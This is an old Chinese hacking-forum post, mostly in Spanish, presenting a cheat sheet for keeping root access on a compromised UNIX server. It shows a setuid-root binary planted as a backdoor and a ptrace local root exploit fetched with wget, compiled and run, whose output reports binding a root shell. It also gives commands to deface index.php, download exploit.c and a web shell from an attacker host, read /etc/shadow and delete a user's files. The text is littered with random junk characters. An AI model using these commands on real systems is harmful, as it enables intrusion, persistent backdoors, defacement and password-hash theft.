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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |正序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>0 Q+ p1 d' l/ S* }6 a1 W  N
<>1.</P>
( V9 u" x' d6 b; S/ X<>[cnbird@localhost tmp]#id</P>8 K+ d0 X3 _& W# p
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
1 |; g/ D, p5 c: ]<>[cnbird@localhost tmp]#cp `which id ` .</P>, G+ L: s4 b9 ?7 z5 V3 k8 I
<>[cnbird@localhost tmp]#chown root ./id</P>0 {+ B( a) i9 }9 R: |" r3 C
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>6 [% E$ h! {& v/ p3 b5 L
<>[cnbird@localhost tmp]#ls -l ./id</P>
# t% W! O: r  A* P<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
1 O/ M. f+ M2 R# g<>[cnbird@localhost tmp]#exit</P>2 A7 O7 d$ j& A# U3 z, j4 t
<>[cnbird@localhost tmp]$id</P>* O3 A1 j4 [2 g& ]& g
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
. p  `1 A4 v: X3 L' F% t6 n  H<>[cnbird@localhost tmp]$./id </P>( E+ Y+ Z- O0 \0 Z+ ]. i6 U
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>6 ]9 C0 K; L' d1 Q% v
<>2.利用ptrace成为root的方法</P>
5 s2 u6 l) k- R; n1 V<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
7 J# u+ H# ^( U3 N$ G4 h2 v; K0 z-&gt; Parent's PID is 2313. Child's PID is 2314.$ r$ a) J3 E  L4 b! I) Z, }0 @: ?' l
-&gt; Attaching to 2315...3 M& F0 Q9 Z+ b* E. b
-&gt; Got the thread!!
$ F) x5 _3 \$ Q8 ^. Y-&gt; Waiting for the next signal...
- C- `: E! o# [! U: ]+ W. {. |-&gt; Injecting shellcode at 0x4000e85d$ L0 f% g2 [: ^4 _. Q
-&gt; Bind root shell on port 24876... =p
8 @" [1 g- J1 T: ?) y% X! m+ J-&gt; Detached from modprobe thread.6 e; ^) }. N3 K6 C3 d
-&gt; Committing suicide.....</P>
1 z) J. b7 @+ E( T3 F# ~<>[bash]# id3 X7 ~- x. i, v
uid=0(root) gid=0(root) groups=0(root)</P>
& n/ O- A# ^2 `# W! T2 i) W9 C, \1 ^<>ara ver los dominios que hay en el server:
1 @3 g3 y9 X, h, g- N  z---------------------------------------------------------
! e+ s* `$ |4 o& a4 Kcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios3 S1 F* N+ U! L& h
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
2 \9 E" ^- S% {cat /etc/localdomains &lt;&lt; Unicamente los dominios locales. m! a# ^- m# L) F8 M, R& D, \
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio - l2 v- m0 h2 _" W: g
cat /etc/userdomains &lt;&lt; Este es el mas comun: L/ N0 p$ S9 p! V
---------------------------------------------------------</P>( N/ n9 e' Y0 n* H
<>ara ver la version de kernel:
$ `/ q) B8 `) n" \---------------------------------------------------------* P; {7 H/ w& j) U' T* o% W+ x
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
% C( P/ F$ F2 J- t; t8 R: W4 ^---------------------------------------------------------</P>3 Q) Z) `4 u6 ]
<>ara modificar un index ya existente:
* z  s) h2 t0 k9 N$ ~---------------------------------------------------------0 Y( w3 L! [0 I# q
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
! m0 }( |$ _" P3 g( N. |---------------------------------------------------------</P># m) ^! j) {3 f1 `  \6 j7 |
<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
  a: e. }& m# E---------------------------------------------------------
5 z  k. r% p8 V7 e) ~3 c% ]cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
% U* R( n- g7 V! N/ R: fcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
/ @& X/ L6 c# _# M3 v9 E2 d8 Ocd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
0 i! K7 p/ z  n& Ecd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
  ~/ z( l# M: V. z0 jHasta aqui termina el proceso para un exploit.' i  n- W& ?- q6 e/ g: [8 c# j
---------------------------------------------------------</P>( M% u- ]8 X# }$ `, h
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:6 m3 @8 _; c$ H9 F$ i
---------------------------------------------------------
' d; \( w: E1 C) t6 ~cat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
* A  o+ D7 p+ H+ |$ a---------------------------------------------------------</P>4 A/ b2 ^1 ?; B
<>Borrar un Ficher
3 U+ d) v# z# o---------------------------------------------------------, ~# B; F: H) \" S
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
1 ]- J/ i5 j4 y  a% O1 b, Z---------------------------------------------------------</P>
: o% O! s: U# k3 d9 I  E/ U<>Subir un ficher
! l9 |! C1 \/ u---------------------------------------------------------
) ?+ T- P8 [0 B7 ~cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>5 c/ C' T' i. H
<>& [, A" n" X- Y0 e6 |
<CENTER></CENTER>
zan
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